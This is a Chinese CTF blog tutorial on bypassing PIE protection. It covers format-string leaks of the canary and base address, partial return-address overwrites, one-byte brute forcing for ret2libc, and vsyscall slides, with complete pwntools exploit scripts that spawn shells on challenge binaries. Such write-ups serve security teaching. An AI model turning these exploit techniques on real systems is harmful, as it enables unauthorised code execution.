PIE保护

D0wnBe@t Lv4

PIE保护

前言:

参考:https://xz.aliyun.com/t/12809?time__1311=GqGxuDcD2Dg0YGN4WxUxYq%2BW5q5Mf%2BbD#toc-0

pie保护简单来说就是程序每次载入内存的地址都会发生变化,地址是随机的

  • 从ida来看,地址基本都是四位数,如下:

  • 差别还是很明显的,因此我们不能直接利用这些地址操作,要先寻找到pie的基地址,ida给出来的只是偏移地址。

程序的实际运行地址 = 程序加载基址 + 程序偏移地址

  • 注意:即使开启了pie,真实地址和ida中所看到的偏移地址的末三位数字肯定还是一样的,这是由于内存页对其的原理。

关于开启pie的gdb调试

  • 指令
1
b *$rebase(偏移地址) # 偏移地址从ida看
  • 注意程序要先run起来,才可以打断点

具体题目

1.[深育杯 2021]find_flag(格式化字符串-pie)

题目地址

  • 保护全开直接看ida

  • 很明显的格式化字符串漏洞,先泄露canary和pie基地址,然后栈溢出到后门函数就可以了 (此题有后门函数)

gdb调试查找泄露偏移

  • 在格式化字符串漏洞那里下断点:

  • 先让程序start,然后如上面下断点,查看栈结构
  • rbp上方的就是canary, 距离rsp偏移是11,看最左侧也可以看出来,0xb,再加上6个寄存器(64位),偏移地址是17
  • 如何泄露pie地址,我们要得到一个既可以在ida中可以查看偏移的地址,也可以泄露出其真实地址的地方, 正如下方,偏移位0x146f的地方,泄露这个地方的地址,减去0x146f,就可以得到pie的基地址了。
  • 注意:ROPgadget看到的地址也只是偏移地址,要加上pie的基地址后才可以使用:

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context(arch='amd64',log_level='debug')

#p = process("./pwn")
p = remote("node4.anna.nssctf.cn",28406)

# 格式化字符串泄露canary和pie基地址
p.recvuntil("Hi! What's your name? ")
p.sendline(b'%17$p-%19$p')
p.recvuntil("Nice to meet you, ")
canary = int(p.recv(18),16)
p.recvuntil(b'-')
pie_base = int(p.recv(14),16) - 0x146F

print(f'[+][+][+]canary = {hex(canary)}')
print(f'[+][+][+]pie_base = {hex(pie_base)}')

# 栈溢出getflag
getflag = pie_base + 0x01231
ret = pie_base + 0x000000000000101a
p.recvuntil("Anything else? ")
payload = cyclic(0x38) + p64(canary) + b'a'*8 + p64(ret) + p64(getflag)
p.sendline(payload)
p.interactive()

2.linkctf_2018.7_babypie

题目链接

  • 通过printf遇到\x00才会停止输出的特性,从而泄露canary
  • 但是此时无法泄露出pie的基地址了,那么我们就无法修改ret_address了吗?其实不然

之前说过,由于页对其的机制,即使开启了pie,其末三位16进制数字也是一样的,正是因为这个,**所以返回地址和后门函数的地址应该只有末四位不同(运气最差的情况下)**,所以我们只需要修改末四位就可以ret到后门函数,从而getshell。

  • 此题目就是如此,但是只需要修改末两位就可以getshell

gdb 调试,画框部分其实就是main函数结束后的返回地址,发现偏移是0xa6a

ida中system(“/bin/sh”)的地址偏移是0xa42,只有后两位不同,修改后两位即可

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context(arch='amd64',log_level='debug')

#p = process("./pwn")
p = remote("node5.buuoj.cn",26786)

payload = b'a'*0x25+b'bbbb'
p.recvuntil("Input your Name:\n")
p.send(payload)
p.recvuntil(b'bbbb')
canary = u64(p.recv(7).rjust(8,b'\x00'))
print(f'[+][+][+]canary = {hex(canary)}')

#getshell = 0x00A3E
p.recvuntil('\n')
payload = cyclic(0x28) + p64(canary) + b'a'*8 + b'\x42'
p.send(payload)
p.interactive()

注意:

如果有多位不同,而我们又只能逐字节更改,有时就需要自己写脚本爆破了

3.Basectf-week3-PIE(爆破返回地址)

题目链接

  • 发现主函数就这些,什么都没有,所以我们要泄露libc,获得system函数,所需的gadget。
  • 但是我们无法像基本的ret2libc一样ret到main函数,那么如何修改呢?看下面的调试:

gdb调试:

1.填满栈空间,查看ret_address

  • 如图,返回地址是__libc_start_main+128,按照之前的方法来说,这里应该是一个pie+偏移的地址,我们修改末两字节就可以返回到main函数,然后通过泄露的地址计算出pie基地址,进行其他操作。
  • 但是这里不是,但是难道就不行了吗?其实不然,__libc_start_main函数附近也有gadget可以使我们返回main函数,可以自己用telescope去慢慢找,但是也可以直接爆破。
  • 其实你要知道,这题目肯定是修改末字节可以返回main函数的,不然就写不出来了。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
context(arch='amd64')
elf = ELF("./pwn")
libc = ELF("libc.so.6")

# 替换为 process 或 remote
p = process("./pwn")
# p = remote("challenge.basectf.fun", 20961)

def bug():
gdb.attach(p)
pause()

printf_got = elf.got['printf']

for i in range(0x100): # 0x00 到 0xff
print(f'Trying p8 value: {hex(i)}')
p = process("./pwn") # 每次循环都需要重新创建进程
payload = cyclic(0x100 + 8) + p8(i)
p.send(payload)
try:
response = p.recvuntil("you said ", timeout=1)
print(p.recv())
if response:
libc_start_main = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - i + 0xc0
print(f'[+][+][+][+] Correct p8 value: {hex(i)}')
print(f'[+][+][+][+] libc_start_main: {hex(libc_start_main)}')
# 后续的攻击逻辑
base = libc_start_main - libc.sym['__libc_start_main']
system = base + libc.sym['system']
bin_sh = base + next(libc.search(b'/bin/sh\x00'))
pop_rdi_ret = base + 0x000000000002a3e5
ret = base + 0x0000000000029139

payload = cyclic(0x108) + p64(pop_rdi_ret) + p64(bin_sh) + p64(ret) + p64(system)
p.sendline(payload)
p.interactive()
break # 找到正确的值后退出循环
except EOFError:
print(f'p8 value {hex(i)} failed.')
finally:
p.close()
  • 效果:在出现输出停止的时候就说明那个数字是有效的,因为此时你已经远程控制服务器了,等待着你输出指令。
  • 0xc0对应的是__libc_start_main的地址。
  • 题目中没有相应的gadget,但是libc.so文件里面也有gadget,通过libc_base+偏移也可以使用

vsyscall绕过

参考文章:vsyscall滑梯

  • 在开启PIE的情况下,如果我们没法泄露pie我们该怎么办呢?这里介绍一下新的东西:vsyscall
  • 引自gpt

vsyscall 是 Linux 内核中用于实现某些系统调用的一种机制。它提供了一种非常高效的方式来执行系统调用,主要用于优化一些常见的系统调用的性能。为了更好地理解 vsyscall,我们需要从 Linux 系统调用的实现和优化角度来探讨。

系统调用简介

在 Linux 中,用户程序通过系统调用(system call)来请求内核服务。正常的系统调用过程通常涉及用户空间与内核空间之间的上下文切换。每当用户程序需要进行系统调用时,它会触发一个软件中断(如 int 0x80syscall 指令),从而进入内核态。

这就是那四个函数

  • 这三部分就是vsyscall的函数的调用了,运用syscall进行内核请求,最后ret
  • 主要分为下面三种操作
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
switch (vsyscall_nr) {
case 0:
/* this decodes regs->di and regs->si on its own */
ret = __x64_sys_gettimeofday(regs);
break;

case 1:
/* this decodes regs->di on its own */
ret = __x64_sys_time(regs);
break;

case 2:
/* while we could clobber regs->dx, we didn't in the past... */
orig_dx = regs->dx;
regs->dx = 0;
/* this decodes regs->di, regs->si and regs->dx on its own */
ret = __x64_sys_getcpu(regs);
regs->dx = orig_dx;
break;
}
  • vsyscall的地址是不会变的,通常是0xffffffffff600000
  • 也就是说我们也可以将vsyscall当作ret来运用,即vsyscall滑梯

2024DSBCTF(ctfshow)

题目链接:this

  • main函数,很简单,虽然没有溢出,但是有个jmp,直接看汇编
1
2
3
4
5
6
7
8
9
10
11
12
void __fastcall main(__int64 a1, char **a2, char **a3)
{
_BYTE buf[64]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v5; // [rsp+108h] [rbp-8h]

v5 = __readfsqword(0x28u);
setinit(a1, a2, a3);
logo();
write(1, "Hack me!\n", 9uLL);
read(0, buf, 0xFFuLL);
__asm { jmp qword ptr [rax] }
}
  • 很简单,只要我们修改rbp+buf-0x40的值为后门函数,那么就可以jmp到后门函数getshell了
1
2
3
.text:00000000000009EB                 lea     rax, [rbp+buf]
.text:00000000000009F2 add rax, 40h ; '@'
.text:00000000000009F6 jmp qword ptr [rax]
  • 后门函数:
1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 sub_A13()
{
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("wtf?");
read(0, buf, 7uLL);
buf[7] = 0;
system(buf);
return __readfsqword(0x28u) ^ v2;
}
  • 但是真这么简单吗?checksec 看看
1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'/home/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/'
  • 可以发现开启了PIE,我们无法直接jmp到后门函数,同时也无法泄露PIE,但是我们可以用vsyscall滑梯啊,虽然不能直接jmp到后门函数,但是可以ret到后门函数的地方执行

gdb调试

随便发个东西下断点:

  • 可以发现我们一直ret到rbp上方四个机器字长的时候,将该地址末字节改为\x13即可进入到后门函数

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
def bug():
gdb.attach(p)
pause()

def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

sd = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rc = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
rl = lambda :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))

context(arch = "amd64",os = "linux",log_level = "debug")#
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
file = "./pwn"
#libc = "./libc.so.6"

#p = remote("pwn.challenge.ctf.show",28217)
p = process(file)

elf = ELF(file)
#libc = ELF(libc)
#p = remote("", 23583)

vsyscall = 0xffffffffff600000
ru("Hack me!\n")
payload = p64(vsyscall) * 30
payload += b'\x13'

sd(payload)
sl(b'/bin/sh')
p.interactive()

注意🤨🤨

最开始我payload用了0x40的垃圾数据填充,但是是不行的,思考一下🤯🤯:

  • 经过jmp rax那部分指令,rsp的地址是不会发生改变的,即使我们使用vsyscallret(pop rip),也是从rsp开始将数据给rip继续执行,所以一开始填充垃圾数据那么便会出现下面的情况:

下一步

  • 所以要将栈上的数据都填充为vsyscall,然后滑到后门函数
  • 标题: PIE保护
  • 作者: D0wnBe@t
  • 创建于 : 2024-08-31 13:06:09
  • 更新于 : 2024-11-13 19:36:48
  • 链接: http://downbeat.top/2024/08/31/PIE保护/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论